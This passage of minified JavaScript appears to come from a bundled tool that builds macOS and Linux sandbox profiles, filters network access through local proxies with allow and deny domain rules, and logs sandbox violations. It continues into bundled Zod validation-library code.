"kern.tcsm_enable")',' (sysctl-name "kern.usrstack64")',' (sysctl-name "kern.version")',' (sysctl-name "kern.willshutdown")',' (sysctl-name "machdep.cpu.brand_string")',' (sysctl-name "machdep.ptrauth_enabled")',' (sysctl-name "security.mac.lockdown_mode_state")',' (sysctl-name "sysctl.proc_cputype")',' (sysctl-name "vm.loadavg")',' (sysctl-name-prefix "hw.optional.arm")',' (sysctl-name-prefix "hw.optional.arm.")',' (sysctl-name-prefix "hw.optional.armv8_")',' (sysctl-name-prefix "hw.perflevel")',' (sysctl-name-prefix "kern.proc.all")',' (sysctl-name-prefix "kern.proc.pgrp.")',' (sysctl-name-prefix "kern.proc.pid.")',' (sysctl-name-prefix "machdep.cpu.")',' (sysctl-name-prefix "net.routetable.")',")","","; V8 thread calculations","(allow sysctl-write",' (sysctl-name "kern.tcsm_enable")',")","","; Distributed notifications","(allow distributed-notification-post)","","; Specific mach-lookup permissions for security operations",'(allow mach-lookup (global-name "com.apple.SecurityServer"))',"","; File I/O on device files",'(allow file-ioctl (literal "/dev/null"))','(allow file-ioctl (literal "/dev/zero"))','(allow file-ioctl (literal "/dev/random"))','(allow file-ioctl (literal "/dev/urandom"))','(allow file-ioctl (literal "/dev/dtracehelper"))','(allow file-ioctl (literal "/dev/tty"))',"","(allow file-ioctl file-read-data file-write-data"," (require-all",' (literal "/dev/null")'," (vnode-type CHARACTER-DEVICE)"," )",")",""];if(_.push("; Network"),!z)_.push("(allow network*)");else{if(J)_.push('(allow network-bind (local ip "localhost:*"))'),_.push('(allow network-inbound (local ip "localhost:*"))'),_.push('(allow network-outbound (local ip "localhost:*"))');if(H)_.push('(allow network* (subpath "/"))');else if(w&&w.length>0)for(let G of w){let Z=lR(G);_.push(`(allow network* (subpath ${AT(Z)}))`)}if(q!==void 0)_.push(`(allow network-bind (local ip "localhost:${q}"))`),_.push(`(allow network-inbound (local ip "localhost:${q}"))`),_.push(`(allow network-outbound (remote ip "localhost:${q}"))`);if(Y!==void 0)_.push(`(allow network-bind (local ip "localhost:${Y}"))`),_.push(`(allow network-inbound (local ip "localhost:${Y}"))`),_.push(`(allow network-outbound (remote ip "localhost:${Y}"))`)}if(_.push(""),_.push("; File read"),_.push(...xw5(A,$)),_.push(""),_.push("; File write"),_.push(...uw5(K,$,X)),O)_.push(""),_.push("; Pseudo-terminal (pty) support"),_.push("(allow pseudo-tty)"),_.push("(allow file-ioctl"),_.push(' (literal "/dev/ptmx")'),_.push(' (regex #"^/dev/ttys")'),_.push(")"),_.push("(allow file-read* file-write*"),_.push(' (literal "/dev/ptmx")'),_.push(' (regex #"^/dev/ttys")'),_.push(")");return _.join(` `)}function AT(A){return JSON.stringify(A)}function mw5(){let A=process.env.TMPDIR;if(!A)return[];if(!A.match(/^\/(private\/)?var\/folders\/[^/]{2}\/[^/]+\/T\/?$/))return[];let q=A.replace(/\/T\/?$/,"");if(q.startsWith("/private/var/"))return[q,q.replace("/private","")];else if(q.startsWith("/var/"))return[q,"/private"+q];return[q]}function Zb8(A){let{command:K,needsNetworkRestriction:q,httpProxyPort:Y,socksProxyPort:z,allowUnixSockets:w,allowAllUnixSockets:H,allowLocalBinding:J,readConfig:O,writeConfig:X,allowPty:$,allowGitConfig:_=!1,binShell:G}=A,Z=O&&O.denyOnly.length>0;if(!q&&!Z&&X===void 0)return K;let D=bw5(K),j=Bw5({readConfig:O,writeConfig:X,httpProxyPort:Y,socksProxyPort:z,needsNetworkRestriction:q,allowUnixSockets:w,allowAllUnixSockets:H,allowLocalBinding:J,allowPty:$,allowGitConfig:_,logTag:D}),M=y11(Y,z),P=G||"bash",f=Sw5("which",[P],{encoding:"utf8"});if(f.status!==0)throw Error(`Shell '${P}' not found in PATH`);let N=f.stdout.trim(),T=$b8.default.quote(["env",...M,"sandbox-exec","-p",j,N,"-c",K]);return T8(`[Sandbox macOS] Applied restrictions - network: ${!!(Y||z)}, read: ${O?"allowAllExcept"in O?"allowAllExcept":"denyAllExcept":"none"}, write: ${X?"allowAllExcept"in X?"allowAllExcept":"denyAllExcept":"none"}`),T}function Wb8(A,K){let q=/CMD64_(.+?)_END/,Y=/Sandbox:\s+(.+)$/,z=K?.["*"]||[],w=K?Object.entries(K).filter(([J])=>J!=="*"):[],H=Iw5("log",["stream","--predicate",`(eventMessage ENDSWITH "${_b8}")`,"--style","compact"]);return H.stdout?.on("data",(J)=>{let O=J.toString().split(` `),X=O.find((D)=>D.includes("Sandbox:")&&D.includes("deny")),$=O.find((D)=>D.startsWith("CMD64_"));if(!X)return;let _=X.match(Y);if(!_?.[1])return;let G=_[1],Z,W;if($){if(W=$.match(q)?.[1],W)try{Z=ah8(W)}catch{}}if(G.includes("mDNSResponder")||G.includes("mach-lookup com.apple.diagnosticd")||G.includes("mach-lookup com.apple.analyticsd"))return;if(K&&Z){if(z.length>0){if(z.some((j)=>G.includes(j)))return}for(let[D,j]of w)if(Z.includes(D)){if(j.some((P)=>G.includes(P)))return}}A({line:G,command:Z,encodedCommand:W,timestamp:new Date})}),H.stderr?.on("data",(J)=>{T8(`[Sandbox Monitor] Log stream stderr: ${J.toString()}`)}),H.on("error",(J)=>{T8(`[Sandbox Monitor] Failed to start log stream: ${J.message}`)}),H.on("exit",(J)=>{T8(`[Sandbox Monitor] Log stream exited with code: ${J}`)}),()=>{T8("[Sandbox Monitor] Stopping log monitor"),H.kill("SIGTERM")}}var $b8,_b8;var Db8=k(()=>{NJA();$b8=o(soA(),1);_b8=`_${Math.random().toString(36).slice(2,11)}_SBX`});class UkA{constructor(){this.violations=[],this.totalCount=0,this.maxSize=100,this.listeners=new Set}addViolation(A){if(this.violations.push(A),this.totalCount++,this.violations.length>this.maxSize)this.violations=this.violations.slice(-this.maxSize);this.notifyListeners()}getViolations(A){if(A===void 0)return[...this.violations];return this.violations.slice(-A)}getCount(){return this.violations.length}getTotalCount(){return this.totalCount}getViolationsForCommand(A){let K=I11(A);return this.violations.filter((q)=>q.encodedCommand===K)}clear(){this.violations=[],this.notifyListeners()}subscribe(A){return this.listeners.add(A),A(this.getViolations()),()=>{this.listeners.delete(A)}}notifyListeners(){let A=this.getViolations();this.listeners.forEach((K)=>K(A))}}var wc1=k(()=>{NJA()});import*as Jc1 from"fs";import{spawnSync as gw5}from"child_process";import{EOL as Hc1}from"node:os";function Fw5(){if(jb8)return;let A=()=>Xc1().catch((K)=>{T8(`Cleanup failed in registerCleanup ${K}`,{level:"error"})});process.once("exit",A),process.once("SIGINT",A),process.once("SIGTERM",A),jb8=!0}function Oc1(A,K){if(K.startsWith("*.")){let q=K.substring(2);return A.toLowerCase().endsWith("."+q.toLowerCase())}return A.toLowerCase()===K.toLowerCase()}async function Vb8(A,K,q){if(!R5)return T8("No config available, denying network request"),!1;for(let Y of R5.network.deniedDomains)if(Oc1(K,Y))return T8(`Denied by config rule: ${K}:${A}`),!1;for(let Y of R5.network.allowedDomains)if(Oc1(K,Y))return T8(`Allowed by config rule: ${K}:${A}`),!0;if(!q)return T8(`No matching config rule, denying: ${K}:${A}`),!1;T8(`No matching config rule, asking user: ${K}:${A}`);try{if(await q({host:K,port:A}))return T8(`User allowed: ${K}:${A}`),!0;else return T8(`User denied: ${K}:${A}`),!1}catch(Y){return T8(`Error in permission callback: ${Y}`,{level:"error"}),!1}}function Qw5(A){if(!R5?.network.mitmProxy)return;let{socketPath:K,domains:q}=R5.network.mitmProxy;for(let Y of q)if(Oc1(A,Y))return T8(`Host ${A} matches MITM pattern ${Y}`),K;return}async function Uw5(A){return TJA=my8({filter:(K,q)=>Vb8(K,q,A),getMitmSocketPath:Qw5}),new Promise((K,q)=>{if(!TJA){q(Error("HTTP proxy server undefined before listen"));return}let Y=TJA;Y.once("error",q),Y.once("listening",()=>{let z=Y.address();if(z&&typeof z==="object")Y.unref(),T8(`HTTP proxy listening on localhost:${z.port}`),K(z.port);else q(Error("Failed to get proxy server address"))}),Y.listen(0,"127.0.0.1")})}async function pw5(A){return u6A=ny8({filter:(K,q)=>Vb8(K,q,A)}),new Promise((K,q)=>{if(!u6A){q(Error("SOCKS proxy server undefined before listen"));return}u6A.listen(0,"127.0.0.1").then((Y)=>{u6A?.unref(),K(Y)}).catch(q)})}async function dw5(A,K,q=!1){if(gi){await gi;return}R5=A;let Y=Nb8();if(Y.errors.length>0)throw Error(`Sandbox dependencies not available: ${Y.errors.join(", ")}`);if(q&&cE()==="macos")h11=Wb8(b11.addViolation.bind(b11),R5.ignoreViolations),T8("Started macOS sandbox log monitor");Fw5(),gi=(async()=>{try{let z;if(R5.network.httpProxyPort!==void 0)z=R5.network.httpProxyPort,T8(`Using external HTTP proxy on port ${z}`);else z=await Uw5(K);let w;if(R5.network.socksProxyPort!==void 0)w=R5.network.socksProxyPort,T8(`Using external SOCKS proxy on port ${w}`);else w=await pw5(K);let H;if(cE()==="linux")H=await Hb8(z,w);let J={httpProxyPort:z,socksProxyPort:w,linuxBridge:H};return iE=J,T8("Network infrastructure initialized"),J}catch(z){throw gi=void 0,iE=void 0,Xc1().catch((w)=>{T8(`Cleanup failed in initializationPromise ${w}`,{level:"error"})}),z}})(),await gi}function fb8(){let A=cE();if(A==="linux")return nd1()!=="1";return A==="macos"}function cw5(){return R5!==void 0}function Nb8(A){if(!fb8())return{errors:["Unsupported platform"],warnings:[]};let K=[],q=[],Y=A??R5?.ripgrep??{command:"rg"};if(gw5("which",[Y.command],{stdio:"ignore",timeout:1000}).status!==0)K.push(`ripgrep (${Y.command}) not found`);if(cE()==="linux"){let H=wb8(R5?.seccomp);K.push(...H.errors),q.push(...H.warnings)}return{errors:K,warnings:q}}function lw5(){if(!R5)return{denyOnly:[]};return{denyOnly:R5.filesystem.denyRead.map((K)=>gkA(K)).filter((K)=>{if(cE()==="linux"&&cR(K))return T8(`Skipping glob pattern on Linux/WSL: ${K}`),!1;return!0})}}function iw5(){if(!R5)return{allowOnly:FkA(),denyWithinAllow:[]};let A=R5.filesystem.allowWrite.map((Y)=>gkA(Y)).filter((Y)=>{if(cE()==="linux"&&cR(Y))return T8(`Skipping glob pattern on Linux/WSL: ${Y}`),!1;return!0}),K=R5.filesystem.denyWrite.map((Y)=>gkA(Y)).filter((Y)=>{if(cE()==="linux"&&cR(Y))return T8(`Skipping glob pattern on Linux/WSL: ${Y}`),!1;return!0});return{allowOnly:[...FkA(),...A],denyWithinAllow:K}}function nw5(){if(!R5)return{};let A=R5.network.allowedDomains,K=R5.network.deniedDomains;return{...A.length>0&&{allowedHosts:A},...K.length>0&&{deniedHosts:K}}}function Tb8(){return R5?.network?.allowUnixSockets}function Mb8(){return R5?.network?.allowAllUnixSockets}function vb8(){return R5?.network?.allowLocalBinding}function Eb8(){return R5?.ignoreViolations}function kb8(){return R5?.enableWeakerNestedSandbox}function rw5(){return R5?.ripgrep??{command:"rg"}}function ow5(){return R5?.mandatoryDenySearchDepth??3}function Pb8(){return R5?.filesystem?.allowGitConfig??!1}function aw5(){return R5?.seccomp}function Cb8(){return iE?.httpProxyPort}function Lb8(){return iE?.socksProxyPort}function Rb8(){return iE?.linuxBridge?.httpSocketPath}function yb8(){return iE?.linuxBridge?.socksSocketPath}async function Ib8(){if(!R5)return!1;if(gi)try{return await gi,!0}catch{return!1}return iE!==void 0}async function sw5(A,K,q,Y){let z=cE(),w=q?.filesystem?.allowWrite??R5?.filesystem.allowWrite??[],H={allowOnly:[...FkA(),...w],denyWithinAllow:q?.filesystem?.denyWrite??R5?.filesystem.denyWrite??[]},J={denyOnly:q?.filesystem?.denyRead??R5?.filesystem.denyRead??[]},O=q?.network?.allowedDomains!==void 0||R5?.network?.allowedDomains!==void 0,X=O,$=O;if($)await Ib8();let _=q?.allowPty??R5?.allowPty;switch(z){case"macos":return Zb8({command:A,needsNetworkRestriction:X,httpProxyPort:$?Cb8():void 0,socksProxyPort:$?Lb8():void 0,readConfig:J,writeConfig:H,allowUnixSockets:Tb8(),allowAllUnixSockets:Mb8(),allowLocalBinding:vb8(),ignoreViolations:Eb8(),allowPty:_,allowGitConfig:Pb8(),binShell:K});case"linux":return Jb8({command:A,needsNetworkRestriction:X,httpSocketPath:$?Rb8():void 0,socksSocketPath:$?yb8():void 0,httpProxyPort:$?iE?.httpProxyPort:void 0,socksProxyPort:$?iE?.socksProxyPort:void 0,readConfig:J,writeConfig:H,enableWeakerNestedSandbox:kb8(),allowAllUnixSockets:Mb8(),binShell:K,ripgrepConfig:rw5(),mandatoryDenySearchDepth:ow5(),allowGitConfig:Pb8(),seccompConfig:aw5(),abortSignal:Y});default:throw Error(`Sandbox configuration is not supported on platform: ${z}`)}}function tw5(){return R5}function ew5(A){R5=id1(A),T8("Sandbox configuration updated")}async function Xc1(){if(h11)h11(),h11=void 0;if(iE?.linuxBridge){let{httpSocketPath:K,socksSocketPath:q,httpBridgeProcess:Y,socksBridgeProcess:z}=iE.linuxBridge,w=[];if(Y.pid&&!Y.killed)try{process.kill(Y.pid,"SIGTERM"),T8("Sent SIGTERM to HTTP bridge process"),w.push(new Promise((H)=>{Y.once("exit",()=>{T8("HTTP bridge process exited"),H()}),setTimeout(()=>{if(!Y.killed){T8("HTTP bridge did not exit, forcing SIGKILL",{level:"warn"});try{if(Y.pid)process.kill(Y.pid,"SIGKILL")}catch{}}H()},5000)}))}catch(H){if(H.code!=="ESRCH")T8(`Error killing HTTP bridge: ${H}`,{level:"error"})}if(z.pid&&!z.killed)try{process.kill(z.pid,"SIGTERM"),T8("Sent SIGTERM to SOCKS bridge process"),w.push(new Promise((H)=>{z.once("exit",()=>{T8("SOCKS bridge process exited"),H()}),setTimeout(()=>{if(!z.killed){T8("SOCKS bridge did not exit, forcing SIGKILL",{level:"warn"});try{if(z.pid)process.kill(z.pid,"SIGKILL")}catch{}}H()},5000)}))}catch(H){if(H.code!=="ESRCH")T8(`Error killing SOCKS bridge: ${H}`,{level:"error"})}if(await Promise.all(w),K)try{Jc1.rmSync(K,{force:!0}),T8("Cleaned up HTTP socket")}catch(H){T8(`HTTP socket cleanup error: ${H}`,{level:"error"})}if(q)try{Jc1.rmSync(q,{force:!0}),T8("Cleaned up SOCKS socket")}catch(H){T8(`SOCKS socket cleanup error: ${H}`,{level:"error"})}}let A=[];if(TJA){let K=TJA,q=new Promise((Y)=>{K.close((z)=>{if(z&&z.message!=="Server is not running.")T8(`Error closing HTTP proxy server: ${z.message}`,{level:"error"});Y()})});A.push(q)}if(u6A){let K=u6A.close().catch((q)=>{T8(`Error closing SOCKS proxy server: ${q.message}`,{level:"error"})});A.push(K)}await Promise.all(A),TJA=void 0,u6A=void 0,iE=void 0,gi=void 0}function AH5(){return b11}function KH5(A,K){if(!R5)return K;let q=b11.getViolationsForCommand(A);if(q.length===0)return K;let Y=K;Y+=Hc1+"<sandbox_violations>"+Hc1;for(let z of q)Y+=z.line+Hc1;return Y+="</sandbox_violations>",Y}function qH5(){if(cE()!=="linux"||!R5)return[];let A=[],K=[...R5.filesystem.denyRead,...R5.filesystem.allowWrite,...R5.filesystem.denyWrite];for(let q of K){let Y=gkA(q);if(cR(Y))A.push(q)}return A}var R5,TJA,u6A,iE,gi,jb8=!1,h11,b11,YO;var Sb8=k(()=>{gy8();ry8();lh8();L11();Ob8();Db8();NJA();wc1();b11=new UkA;YO={initialize:dw5,isSupportedPlatform:fb8,isSandboxingEnabled:cw5,checkDependencies:Nb8,getFsReadConfig:lw5,getFsWriteConfig:iw5,getNetworkRestrictionConfig:nw5,getAllowUnixSockets:Tb8,getAllowLocalBinding:vb8,getIgnoreViolations:Eb8,getEnableWeakerNestedSandbox:kb8,getProxyPort:Cb8,getSocksProxyPort:Lb8,getLinuxHttpSocketPath:Rb8,getLinuxSocksSocketPath:yb8,waitForNetworkInitialization:Ib8,wrapWithSandbox:sw5,reset:Xc1,getSandboxViolationStore:AH5,annotateStderrWithSandboxFailures:KH5,getLinuxGlobPatternWarnings:qH5,getConfig:tw5,updateConfig:ew5}});var S9,$c1,k4,bb=(A)=>{switch(typeof A){case"undefined":return k4.undefined;case"string":return k4.string;case"number":return Number.isNaN(A)?k4.nan:k4.number;case"boolean":return k4.boolean;case"function":return k4.function;case"bigint":return k4.bigint;case"symbol":return k4.symbol;case"object":if(Array.isArray(A))return k4.array;if(A===null)return k4.null;if(A.then&&typeof A.then==="function"&&A.catch&&typeof A.catch==="function")return k4.promise;if(typeof Map<"u"&&A instanceof Map)return k4.map;if(typeof Set<"u"&&A instanceof Set)return k4.set;if(typeof Date<"u"&&A instanceof Date)return k4.date;return k4.object;default:return k4.unknown}};var pkA=k(()=>{(function(A){A.assertEqual=(z)=>{};function K(z){}A.assertIs=K;function q(z){throw Error()}A.assertNever=q,A.arrayToEnum=(z)=>{let w={};for(let H of z)w[H]=H;return w},A.getValidEnumValues=(z)=>{let w=A.objectKeys(z).filter((J)=>typeof z[z[J]]!=="number"),H={};for(let J of w)H[J]=z[J];return A.objectValues(H)},A.objectValues=(z)=>{return A.objectKeys(z).map(function(w){return z[w]})},A.objectKeys=typeof Object.keys==="function"?(z)=>Object.keys(z):(z)=>{let w=[];for(let H in z)if(Object.prototype.hasOwnProperty.call(z,H))w.push(H);return w},A.find=(z,w)=>{for(let H of z)if(w(H))return H;return},A.isInteger=typeof Number.isInteger==="function"?(z)=>Number.isInteger(z):(z)=>typeof z==="number"&&Number.isFinite(z)&&Math.floor(z)===z;function Y(z,w=" | "){return z.map((H)=>typeof H==="string"?`'${H}'`:H).join(w)}A.joinValues=Y,A.jsonStringifyReplacer=(z,w)=>{if(typeof w==="bigint")return w.toString();return w}})(S9||(S9={}));(function(A){A.mergeShapes=(K,q)=>{return{...K,...q}}})($c1||($c1={}));k4=S9.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"])});var d8,YH5=(A)=>{return JSON.stringify(A,null,2).replace(/"([^"]+)":/g,"$1:")},DV;var x11=k(()=>{pkA();d8=S9.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]);DV=class DV extends Error{get errors(){return this.issues}constructor(A){super();this.issues=[],this.addIssue=(q)=>{this.issues=[...this.issues,q]},this.addIssues=(q=[])=>{this.issues=[...this.issues,...q]};let K=new.target.prototype;if(Object.setPrototypeOf)Object.setPrototypeOf(this,K);else this.__proto__=K;this.name="ZodError",this.issues=A}format(A){let K=A||function(z){return z.message},q={_errors:[]},Y=(z)=>{for(let w of z.issues)if(w.code==="invalid_union")w.unionErrors.map(Y);else if(w.code==="invalid_return_type")Y(w.returnTypeError);else if(w.code==="invalid_arguments")Y(w.argumentsError);else if(w.path.length===0)q._errors.push(K(w));else{let H=q,J=0;while(J<w.path.length){let O=w.path[J];if(J!==w.path.length-1)H[O]=H[O]||{_errors:[]};else H[O]=H[O]||{_errors:[]},H[O]._errors.push(K(w));H=H[O],J++}}};return Y(this),q}static assert(A){if(!(A instanceof DV))throw Error(`Not a ZodError: ${A}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,S9.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten(A=(K)=>K.message){let K={},q=[];for(let Y of this.issues)if(Y.path.length>0){let z=Y.path[0];K[z]=K[z]||[],K[z].push(A(Y))}else q.push(A(Y));return{formErrors:q,fieldErrors:K}}get formErrors(){return this.flatten()}};DV.create=(A)=>{return new DV(A)}});var zH5=(A,K)=>{let q;switch(A.code){case d8.invalid_type:if(A.received===k4.undefined)q="Required";else q=`Expected ${A.expected}, received ${A.received}`;break;case d8.invalid_literal:q=`Invalid literal value, expected ${JSON.stringify(A.expected,S9.jsonStringifyReplacer)}`;break;case d8.unrecognized_keys:q=`Unrecognized key(s) in object: ${S9.joinValues(A.keys,", ")}`;break;case d8.invalid_union:q="Invalid input";break;case d8.invalid_union_discriminator:q=`Invalid discriminator value. Expected ${S9.joinValues(A.options)}`;break;case d8.invalid_enum_value:q=`Invalid enum value. Expected ${S9.joinValues(A.options)}, received '${A.received}'`;break;case d8.invalid_arguments:q="Invalid function arguments";break;case d8.invalid_return_type:q="Invalid function return type";break;case d8.invalid_date:q="Invalid date";break;case d8.invalid_string:if(typeof A.validation==="object")if("includes"in A.validation){if(q=`Invalid input: must include "${A.validation.includes}"`,typeof A.validation.position==="number")q=`${q} at one or more positions greater than or equal to ${A.validation.position}`}else if("startsWith"in A.validation)q=`Invalid input: must start with "${A.validation.startsWith}"`;else if("endsWith"in A.validation)q=`Invalid input: must end with "${A.validation.endsWith}"`;else S9.assertNever(A.validation);else if(A.validation!=="regex")q=`Invalid ${A.validation}`;else q="Invalid";break;case d8.too_small:if(A.type==="array")q=`Array must contain ${A.exact?"exactly":A.inclusive?"at least":"more than"} ${A.minimum} element(s)`;else if(A.type==="string")q=`String must contain ${A.exact?"exactly":A.inclusive?"at least":"over"} ${A.minimum} character(s)`;else if(A.type==="number")q=`Number must be ${A.exact?"exactly equal to ":A.inclusive?"greater than or equal to ":"greater than "}${A.minimum}`;else if(A.type==="bigint")q=`Number must be ${A.exact?"exactly equal to ":A.inclusive?"greater than or equal to ":"greater than "}${A.minimum}`;else if(A.type==="date")q=`Date must be ${A.exact?"exactly equal to ":A.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(A.minimum))}`;else q="Invalid input";break;case d8.too_big:if(A.type==="array")q=`Array must contain ${A.exact?"exactly":A.inclusive?"at most":"less than"} ${A.maximum} element(s)`;else if(A.type==="string")q=`String must contain ${A.exact?"exactly":A.inclusive?"at most":"under"} ${A.maximum} character(s)`;else if(A.type==="number")q=`Number must be ${A.exact?"exactly":A.inclusive?"less than or equal to":"less than"} ${A.maximum}`;else if(A.type==="bigint")q=`BigInt must be ${A.exact?"exactly":A.inclusive?"less than or equal to":"less than"} ${A.maximum}`;else if(A.type==="date")q=`Date must be ${A.exact?"exactly":A.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(A.maximum))}`;else q="Invalid input";break;case d8.custom:q="Invalid input";break;case d8.invalid_intersection_types:q="Intersection results could not be merged";break;case d8.not_multiple_of:q=`Number must be a multiple of ${A.multipleOf}`;break;case d8.not_finite:q="Number must be finite";break;default:q=K.defaultError,S9.assertNever(A)}return{message:q}},bF;var _c1=k(()=>{x11();pkA();bF=zH5});function wH5(A){hb8=A}function vJA(){return hb8}var hb8;var u11=k(()=>{_c1();hb8=bF});function l4(A,K){let q=vJA(),Y=dkA({issueData:K,data:A.data,path:A.path,errorMaps:[A.common.contextualErrorMap,A.schemaErrorMap,q,q===bF?void 0:bF].filter((z)=>!!z)});A.common.issues.push(Y)}class TZ{constructor(){this.value="valid"}dirty(){if(this.value==="valid")this.value="dirty"}abort(){if(this.value!=="aborted")this.value="aborted"}static mergeArray(A,K){let q=[];for(let Y of K){if(Y.status==="aborted")return Gq;if(Y.status==="dirty")A.dirty();q.push(Y.value)}return{status:A.value,value:q}}static async mergeObjectAsync(A,K){let q=[];for(let Y of K){let z=await Y.key,w=await Y.value;q.push({key:z,value:w})}return TZ.mergeObjectSync(A,q)}static mergeObjectSync(A,K){let q={};for(let Y of K){let{key:z,value:w}=Y;if(z.status==="aborted")return Gq;if(w.status==="aborted")return Gq;if(z.status==="dirty")A.dirty();if(w.status==="dirty")A.dirty();if(z.value!=="__proto__"&&(typeof w.value<"u"||Y.alwaysSet))q[z.value]=w.value}return{status:A.value,value:q}}}var dkA=(A)=>{let{data:K,path:q,errorMaps:Y,issueData:z}=A,w=[...q,...z.path||[]],H={...z,path:w};if(z.message!==void 0)return{...z,path:w,message:z.message};let J="",O=Y.filter((X)=>!!X).slice().reverse();for(let X of O)J=X(H,{data:K,defaultError:J}).message;return{...z,path:w,message:J}},HH5,Gq,B6A=(A)=>({status:"dirty",value:A}),GD=(A)=>({status:"valid",value:A}),B11=(A)=>A.status==="aborted",m11=(A)=>A.status==="dirty",Fi=(A)=>A.status==="valid",EJA=(A)=>typeof Promise<"u"&&A instanceof Promise;var Gc1=k(()=>{u11();_c1();HH5=[];Gq=Object.freeze({status:"aborted"})});var bb8=()=>{};var zK;var xb8=k(()=>{(function(A){A.errToObj=(K)=>typeof K==="string"?{message:K}:K||{},A.toString=(K)=>typeof K==="string"?K:K?.message})(zK||(zK={}))});class oR{constructor(A,K,q,Y){this._cachedPath=[],this.parent=A,this.data=K,this._path=q,this._key=Y}get path(){if(!this._cachedPath.length)if(Array.isArray(this._key))this._cachedPath.push(...this._path,...this._key);else this._cachedPath.push(...this._path,this._key);return this._cachedPath}}function H3(A){if(!A)return{};let{errorMap:K,invalid_type_error:q,required_error:Y,description:z}=A;if(K&&(q||Y))throw Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);if(K)return{errorMap:K,description:z};return{errorMap:(H,J)=>{let{message:O}=A;if(H.code==="invalid_enum_value")return{message:O??J.defaultError};if(typeof J.data>"u")return{message:O??Y??J.defaultError};if(H.code!=="invalid_type")return{message:J.defaultError};return{message:O??q??J.defaultError}},description:z}}class o3{get description(){return this._def.description}_getType(A){return bb(A.data)}_getOrReturnCtx(A,K){return K||{common:A.parent.common,data:A.data,parsedType:bb(A.data),schemaErrorMap:this._def.errorMap,path:A.path,parent:A.parent}}_processInputParams(A){return{status:new TZ,ctx:{common:A.parent.common,data:A.data,parsedType:bb(A.data),schemaErrorMap:this._def.errorMap,path:A.path,parent:A.parent}}}_parseSync(A){let K=this._parse(A);if(EJA(K))throw Error("Synchronous parse encountered promise.");return K}_parseAsync(A){let K=this._parse(A);return Promise.resolve(K)}parse(A,K){let q=this.safeParse(A,K);if(q.success)return q.data;throw q.error}safeParse(A,K){let q={common:{issues:[],async:K?.async??!1,contextualErrorMap:K?.errorMap},path:K?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:A,parsedType:bb(A)},Y=this._parseSync({data:A,path:q.path,parent:q});return ub8(q,Y)}"~validate"(A){let K={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:A,parsedType:bb(A)};if(!this["~standard"].async)try{let q=this._parseSync({data:A,path:[],parent:K});return Fi(q)?{value:q.value}:{issues:K.common.issues}}catch(q){if(q?.message?.toLowerCase()?.includes("encountered"))this["~standard"].async=!0;K.common={issues:[],async:!0}}return this._parseAsync({data:A,path:[],parent:K}).then((q)=>Fi(q)?{value:q.value}:{issues:K.common.issues})}async parseAsync(A,K){let q=await this.safeParseAsync(A,K);if(q.success)return q.data;throw q.error}async safeParseAsync(A,K){let q={common:{issues:[],contextualErrorMap:K?.errorMap,async:!0},path:K?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:A,parsedType:bb(A)},Y=this._parse({data:A,path:q.path,parent:q}),z=await(EJA(Y)?Y:Promise.resolve(Y));return ub8(q,z)}refine(A,K){let q=(Y)=>{if(typeof K==="string"||typeof K>"u")return{message:K};else if(typeof K==="function")return K(Y);else return K};return this._refinement((Y,z)=>{let w=A(Y),H=()=>z.addIssue({code:d8.custom,...q(Y)});if(typeof Promise<"u"&&w instanceof Promise)return w.then((J)=>{if(!J)return H(),!1;else return!0});if(!w)return H(),!1;else return!0})}refinement(A,K){return this._refinement((q,Y)=>{if(!A(q))return Y.addIssue(typeof K==="function"?K(q,Y):K),!1;else return!0})}_refinement(A){return new aR({schema:this,typeName:Rq.ZodEffects,effect:{type:"refinement",refinement:A}})}superRefine(A){return this._refinement(A)}constructor(A){this.spa=this.safeParseAsync,this._def=A,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:(K)=>this["~validate"](K)}}optional(){return rR.create(this,this._def)}nullable(){return uF.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return nR.create(this)}promise(){return Q6A.create(this,this._def)}or(A){return IJA.create([this,A],this._def)}and(A){return SJA.create(this,A,this._def)}transform(A){return new aR({...H3(this._def),schema:this,typeName:Rq.ZodEffects,effect:{type:"transform",transform:A}})}default(A){let K=typeof A==="function"?A:()=>A;return new uJA({...H3(this._def),innerType:this,defaultValue:K,typeName:Rq.ZodDefault})}brand(){return new F11({typeName:Rq.ZodBranded,type:this,...H3(this._def)})}catch(A){let K=typeof A==="function"?A:()=>A;return new BJA({...H3(this._def),innerType:this,catchValue:K,typeName:Rq.ZodCatch})}describe(A){return new this.constructor({...this._def,description:A})}pipe(A){return okA.create(this,A)}readonly(){return mJA.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}}function gb8(A){let K="[0-5]\\d";if(A.precision)K=`${K}\\.\\d{${A.precision}}`;else if(A.precision==null)K=`${K}(\\.\\d+)?`;let q=A.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${K})${q}`}function vH5(A){return new RegExp(`^${gb8(A)}$`)}function Fb8(A){let K=`${mb8}T${gb8(A)}`,q=[];if(q.push(A.local?"Z?":"Z"),A.offset)q.push("([+-]\\d{2}:?\\d{2})");return K=`${K}(${q.join("|")})`,new 